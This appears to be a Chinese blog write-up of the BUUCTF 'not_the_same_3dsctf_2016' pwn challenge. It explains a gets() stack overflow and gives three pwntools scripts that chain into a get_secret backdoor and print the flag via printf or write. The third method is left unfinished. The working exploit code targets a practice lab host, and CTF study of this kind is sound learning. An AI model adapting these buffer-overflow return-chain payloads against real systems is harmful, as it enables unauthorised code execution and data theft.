[PWN] BUUCTF not_the_same_3dsctf_2016的三种做法


按照惯例先checksec一下,发现没有canary和pie
在这里插入图片描述
之后用ida查看主要函数main有个gets函数存在栈溢出

在这里插入图片描述

函数窗口中有个backdoor函数get_secret,因为这个函数可以读取flag.txt并且通过v0将内容写进fl4g,所以可以想到在gets中构造溢出来到get_secret函数,并通过某个函数将fl4g打印出来,平时一般考虑write与printf
记录fl4g地址:0x080ECA2D
记录get_secret地址:0x80489a0
在这里插入图片描述

1.维持函数正常结束(printf打印)

因为在main函数中有printf所以会下意识想到用printf来打印
所以找到printf的地址
记录printf地址:0x0804F0A0
在这里插入图片描述
直接构造payload1

payload1(FALSE)

#coding=utf-8
from pwn import *    #导入pwntools中的pwn包的所有内容
context.terminal = ['terminator','-x','sh','-c']
context.log_level='debug'

p=remote('node3.buuoj.cn','26732')
fl4g=0x080ECA2D

backdoor_addr=0x80489a0
printf_addr=0x0804F0A0
exi=0x804E660
payload = 'a'*0x2d
payload += p32(backdoor_addr)     #gets栈溢出ret到get_secret
payload += p32(printf_addr)       #执行完get_secret后的返回地址
payload += p32(1)                 #执行完printf后的返回地址
payload += p32(fl4g)              #printf打印的内容
p.sendline(payload)
p.interactive()

在这里插入图片描述发现并没有得到flag,逻辑上是没什么大问题的,因为在本地可以跑通,想起在函数最后结束时返回地址有时候可以为任意数据,但有时候又需要保证程序正常结束,远程打时有时候程序异常结束将不会返回flag,所以需要给最后即p32(1)中1应为使函数正常结束的地址,在ida中找到exit()的地址
记录exit的地址:0x0x804E660
在这里插入图片描述

payload2(TRUE)

#coding=utf-8
from pwn import *    #导入pwntools中的pwn包的所有内容
context.terminal = ['terminator','-x','sh','-c']
context.log_level='debug'

p=remote('node3.buuoj.cn','26732')
fl4g=0x080ECA2D

backdoor_addr=0x80489a0
printf_addr=0x0804F0A0
exi=0x804E660
payload = 'a'*0x2d
payload += p32(backdoor_addr)     #gets栈溢出ret到get_secret
payload += p32(printf_addr)       #执行完get_secret后的返回地址
payload += p32(exi)               #执行完printf后的返回地址
payload += p32(fl4g)              #printf打印的内容
p.sendline(payload)
p.interactive()

Get!
在这里插入图片描述

2.write打印

在这里也可以通过write来得到flag,这样做更加的简单
在IDA中的函数窗口找到write的地址
记录write的地址:0x0806E270
在这里插入图片描述直接构造payload

payload

#coding=utf-8
from pwn import *    #导入pwntools中的pwn包的所有内容
context.terminal = ['terminator','-x','sh','-c']
context.log_level='debug'
p=remote('node3.buuoj.cn','26732')
backdoor_addr=0x80489a0
write_addr = 0x0806E270
fl4g=0x080ECA2D
payload = 'a'* 0x2d
payload += p32(backdoor_addr)    #gets栈溢出ret到get_secret
payload += p32(write_addr)       #执行完get_secret后的返回地址
payload += p32(0)                #执行完write后的返回地址,这里不用考虑函数的异常中止
payload += p32(1)                #write的第一个参数,一般都是1
payload += p32(fl4g)             #write的第二个参数,打印内容开始的地址
payload += p32(45)               #write的第三个参数,打印内容的长度,45是fgets时v0传进fl4g内容的长度
p.sendline(payload)
p.interactive()

Get!
在这里插入图片描述

3.修改栈区权限

未完待续…

存在疑惑

为什么使用printf需要考虑函数的正常结束,而write不需要

参考wp

1.https://blog.youkuaiyun.com/weixin_45556441/article/details/115290469
2.https://blog.youkuaiyun.com/weixin_45004513/article/details/117126274

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值